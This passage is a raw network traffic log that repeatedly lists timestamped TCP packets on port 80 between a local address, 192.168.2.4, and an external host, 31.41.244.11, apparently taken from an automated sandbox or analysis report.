Dec 18, 2024 17:08:10.875341892 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.875406027 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.875458956 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.876307964 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.876368999 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.876492977 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.876552105 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.877363920 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.877434015 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.877496004 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.877540112 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.878468990 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.878545046 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.878570080 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.878621101 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.879507065 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.879559994 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.879631042 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.879678965 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.880662918 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.880718946 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.880928993 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.880976915 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.881671906 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.881737947 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.881782055 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.881828070 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.882806063 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.882859945 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.883002043 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.883048058 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.883985043 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.884037018 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.884074926 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.884128094 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.884969950 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.885020018 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.885160923 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.885221004 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.886321068 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.886346102 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.886377096 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.886400938 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.887610912 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.887660980 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.887667894 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.887703896 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.888180017 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.888235092 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.888286114 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.888331890 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.889471054 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.889544964 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.889686108 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.889738083 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.890753031 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.890806913 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.890849113 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.890897036 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.891525984 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.891577005 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.891709089 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.891757965 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.892559052 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.892610073 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.892656088 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.892704964 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.893589020 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.893656015 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.893695116 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.893742085 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.894551039 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.894602060 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.894679070 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.894726992 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.895644903 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.895699024 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.895750999 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.895800114 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.896805048 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.896866083 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.896889925 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.896933079 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.897886038 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.897953987 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.898039103 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.898086071 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.898895979 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.898950100 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.898989916 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.899036884 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.899996042 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.900049925 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.900216103 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.900264025 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.901388884 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.901453972 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.901504040 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.901551962 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.902301073 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.902350903 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.902395964 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.902447939 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.903218031 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.903268099 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.903347015 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.903399944 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.904301882 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.904373884 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.904411077 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.904459000 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.905384064 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.905462980 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.905527115 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.906466961 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.906543016 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.906589985 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.906642914 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.907635927 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.907694101 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.907841921 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.907891035 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.908598900 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.908648014 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.908791065 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.908847094 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.909646988 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.909709930 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.909795046 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.910722971 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.910773993 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.910841942 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.910890102 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.911832094 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.911887884 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.911962986 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.912009954 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.912957907 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.913011074 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.913031101 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.913079977 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.914000988 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.914066076 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.914158106 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.915083885 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.915148973 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.915154934 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.915199041 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.916201115 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.916266918 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.916364908 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.916414976 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.917346001 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.917412996 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.055244923 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.055311918 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.055363894 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.055433035 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.055716038 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.055784941 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.056050062 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.056099892 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.056185007 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.056248903 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.057059050 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.057105064 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.057174921 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.057235956 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.058181047 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.058293104 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.058337927 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.059204102 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.059253931 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.059298038 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.059349060 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.060326099 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.060374022 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.060440063 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.060489893 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.061336994 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.061398029 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.061434984 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.061490059 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.062468052 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.062515020 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.062557936 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.062604904 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.063525915 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.063572884 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.063690901 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.063734055 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.064682961 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.064730883 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.064774990 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.064830065 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.065721989 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.065778971 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.066020966 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.066071987 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.067001104 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.067049026 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.067095041 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.067145109 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.067945004 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.067992926 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.068036079 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.068084955 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.068850994 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.068901062 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.068988085 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.069037914 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.070023060 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.070081949 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.070130110 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.070178986 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.071012020 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.071063995 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.071151972 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.071197987 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.072139978 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.072190046 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.072251081 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.072298050 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.073213100 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.073265076 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.073308945 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.073354006 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.074400902 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.074451923 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.074505091 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.074552059 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.075357914 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.075455904 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.075464964 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.075495005 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.076409101 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.076459885 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.076550961 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.076597929 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.077562094 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.077619076 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.077712059 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.077759981 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.078550100 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.078608990 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.078669071 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.078721046 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.079653978 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.079716921 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.079790115 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.079838991 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.080754995 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.080816031 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.080945969 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.080996037 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.081800938 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.081862926 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.081914902 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.081964970 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.082935095 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.082978010 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.083019972 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.083045959 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.083920002 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.083978891 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.084036112 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.084084988 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.084995985 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.085052967 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.085150003 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.085212946 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.086260080 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.086313009 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.086357117 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.086405993 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.087228060 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.087285995 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.087327003 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.087378025 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.088439941 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.088515997 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.088541985 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.088593960 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.089603901 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.089673996 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.089713097 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.089886904 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.090739012 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.090799093 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.090877056 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.091317892 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.092113972 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.092214108 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.092250109 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.092298031 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.093322039 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.093398094 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.093400955 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.093650103 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.094224930 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.094280005 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.094302893 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.094367027 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.095204115 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.095259905 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.095330954 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.095396042 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.096139908 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.096203089 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.096276045 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.096337080 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.096950054 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.097007990 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.097079992 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.097140074 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.097946882 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.098006964 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.098227978 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.098284006 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.103142023 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.103176117 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.103212118 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.103226900 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.103249073 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.103285074 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.103292942 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.103316069 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.103363991 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.103415012 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.103471994 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.104526043 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.104592085 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.104618073 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.104671955 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.105564117 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.105622053 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.105705976 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.105758905 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.106695890 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.106753111 CET	49749	80	192.168.2.4	31.41.244.11
